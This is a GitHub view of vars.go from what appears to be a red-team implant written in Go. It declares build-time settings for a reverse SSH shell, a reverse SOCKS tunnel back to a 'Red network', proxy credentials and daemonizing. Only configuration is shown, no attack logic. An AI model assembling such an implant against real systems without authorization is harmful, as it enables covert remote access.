-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathvars.go
50 lines (40 loc) · 1.67 KB
/
vars.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main
import "sync"
// Global vars
var connections = new(sync.WaitGroup)
// LD_FLAGS' modifiable constants
var (
SSHServerHost string //SSHServer host
SSHServerPort string //SSHServer port
SSHServerUser string //SSHServer user, logging in to SSHServer SSH
SSHRemoteCmdHost string //SSHRemote host
SSHRemoteCmdPort string //SSHRemote port
SSHRemoteCmdUser string //user logging in on reverse SSH shell, addt'l control
SSHRemoteCmdPwd string //pw for the ^^ user
SSHShell string // Default Shell
SSHEnvTerm string // Terminal for `exec` request type
SSHRemoteSocksHost string //SOCKS host
SSHRemoteSocksPort string //SOCKS port
SSHServerUserKey string // Encrypted RSA key for SSH tunnel. Embedded unwrap
SSHServerUserKeyUrl string // Where encrypted RSA key for SSH tunnel lives. Remote unwrap
SSHServerUserKeyPassphrase string // decryption key for ^^
HTTPProxy string // HTTP Proxy
HTTPProxyFromEnvironment string // HTTP Proxy set from the Blue environment
HTTPProxyAuthUser string // HTTP Proxy User
HTTPProxyAuthPass string // HTTP Proxy Pass
HTTPEndpoint string // HTTP Endpoint
WSEndpoint string // WS/S Endpoint
LogFile string // Log file for implant (debugging)
Daemonize string // Background our of the controlling terminal
PIDFile string // PID File for daemon
)
// SSHRemote reverse forwarding port for shell (on Red network)
var SSHRemoteEndpoint = Endpoint{
Host: SSHRemoteCmdHost,
Port: SSHRemoteCmdPort,
}
// SSHRemote reverse forwarding port for SOCKS (on Red network)
var SSHRemoteEndpointSOCKS = Endpoint{
Host: SSHRemoteSocksHost,
Port: SSHRemoteSocksPort,
}